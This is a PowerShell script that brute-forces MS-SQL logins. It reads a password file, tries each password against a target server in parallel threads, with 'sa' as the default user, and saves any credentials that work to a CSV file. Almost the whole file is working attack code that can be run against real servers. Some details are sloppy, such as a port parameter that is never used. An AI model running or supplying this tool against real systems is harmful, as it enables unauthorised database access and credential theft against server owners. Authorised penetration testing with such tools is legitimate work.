mssqlAuth.ps1

<#
.SYNOPSIS
MS-SQL Authentication Tool

.DESCRIPTION
Loads a list of passwords and attempts to authenticate with MS-SQL server

.PARAMETER Ip
The IP of listening MS-SQL Service

.PARAMETER Port
The Port MS-SQL Service is Running on (default: 1433)

.PARAMETER User
The username to authenticate as (default: sa)

.PARAMETER Passwords
Local file with one password per line, to use for authentication attempts

.PARAMETER Database
Optional Database name to use for authentication requests (default: none)

.PARAMETER Threads
The thread count to use (default: 5)

.EXAMPLE
.\mssqlAuth.ps1 -Ip 10.10.10.10 -Port 1433 -User sa -Passwords "c:\passwords\mssql.lst" -threads 10
#>

param (
    [Parameter(Mandatory = $True)][string]$ip,
    [string]$passwords = "",
    [string]$user = "sa",
    [string]$database = "",
    [int]$port = 1433,
    [int]$threads = 5
)


<# Simple function to print the 0x31337 application banner #>
function PrintBanner {
    Invoke-Expression "cls";
    Write-Host "";
    Write-Host "[*] MS-SQL - Authentication Tool";
    Write-Host "";
}



<# Handle CTRL+C Interupt and Exit Gracefully #>
[console]::TreatControlCAsInput = $True;

<# Create an output directory if one doesn't exist already #>
$outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
if(!(Test-Path -PathType Container $outDir)) {
    New-Item -ItemType Directory -Force -Path $outDir;
}
$outDir = $outDir + "\" + $ip;
if(!(Test-Path -PathType Container $outDir)) {
    New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
}

# START
PrintBanner;
if($passwords -eq "") {
    Write-Host "[x] Missing Argument: -Passwords <FILE>";
    Write-Host "   [x] Check arguments and try again....`n`n";
    Exit;
} else {
    if(Test-Path -Path $passwords) {
        $pwds = Get-Content -Path $passwords;
        $pwds = $pwds | select -uniq;
    } else {
        Write-Host "";
        Write-Host "[x] Unable to load Passwords from: $passwords";
        Write-Host "   [x] Check path or permissions and try again....";
        Write-Host "`n";
        Exit;
    }
}

$ScriptBlock = {
    Param (
        [string]$ip,
        [string]$usr,
        [string]$pwd,
        [string]$db
    )
    # Build MS-SQL Connector String & Connect
    $msg="";
    try {
        $Error.Clear();
        $conn = New-Object System.Data.SqlClient.SqlConnection;
        $conn.ConnectionString = "Server=$($ip);Uid=$($usr);Pwd=$($pwd);Database=$($db)";
        $conn.Open();
        if($conn.State -eq "Open") {
            Write-Host "[***] MS-SQL Authentication Success!"
            Write-Host "   [*] Server: $ip";
            Write-Host "   [*] User: $usr";
            Write-Host "   [*] Pass: $pwd";
            Write-Host "   [*] DB: $db";
            Write-Host "";
        }
        $conn.Close();
        $status = $True;
        $out = "mssql,$ip,$usr,$pwd,$db";
        Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
        Exit;
    } catch {
        $status = $False;
        $msg = $_.Exception.Message;
    }
    return New-Object PSObject -Property @{
        conStr = $myConnectStr;
        status = $status;
        password = $pwd;
        msg = $msg;
    }
}

$count=0;
$totalPasswords = $pwds.Count;
Write-Host "[*] Target: $($ip)";
Write-Host "   [+] Username: $($user)";
Write-Host "   [+] Pwd File: $($passwords)";
Write-Host "      [-] Passwords: $($pwds.Count)";
Write-Host "   [+] Threads: $($threads)";
Write-Host ""
Write-Host "[*] Starting MS-SQL Auth attempts, hang tight....";

# Setup Thread Pool & Kick off threads...
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $threads);
$RunspacePool.Open();
$Jobs = @();
For($i=0; $i -lt $pwds.Count; $i++) {
    $pwd = $pwds[$i];
    $Job = [powershell]::Create().AddScript($ScriptBlock).AddParameter("ip", $ip).AddParameter("port", $port).AddParameter("usr", $user).AddParameter("pwd", $pwd).AddParameter("db", $database);
    $Job.RunspacePool = $RunspacePool;
    $Jobs += New-Object PSObject -Property @{
      RunNum = $i;
      Job = $Job;
      Result = $Job.BeginInvoke();
    }
}

# EndInvoke returns the objects from the background threads
ForEach($Job in $Jobs) {
    $res = $Job.Job.EndInvoke($Job.Result);
    $remaining = $totalPasswords - $count;
    $count++;
    if($res.msg.ToString() -match '(?im)failed because the host program or the command type does not support user interaction') {
        Write-Host "`n`n[*] MS-SQL Authentication Success!";
        Write-Host "   [*] Host: $($ip):$($port)";
        Write-Host "   [*] User: $($user)";
        Write-Host "   [*] Pass: $($res.password)";
        if($database -ne "") {
            Write-Host "   [*] DB: $($database)";
        }
        Write-Host "`n";
        $out = "mssql,$ip,$port,$user,$($res.password),$database";
        Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
        Exit;
    } else {
        Write-Host "   [x] Failed: $($res.password)";
        #Write-Host "      [ERROR] $($res.msg)";
    }
}
Write-Host "`n[x] No Luck, Sorry!"
Write-Host "   [x] Try another username and/or password list.....`n";
# EOF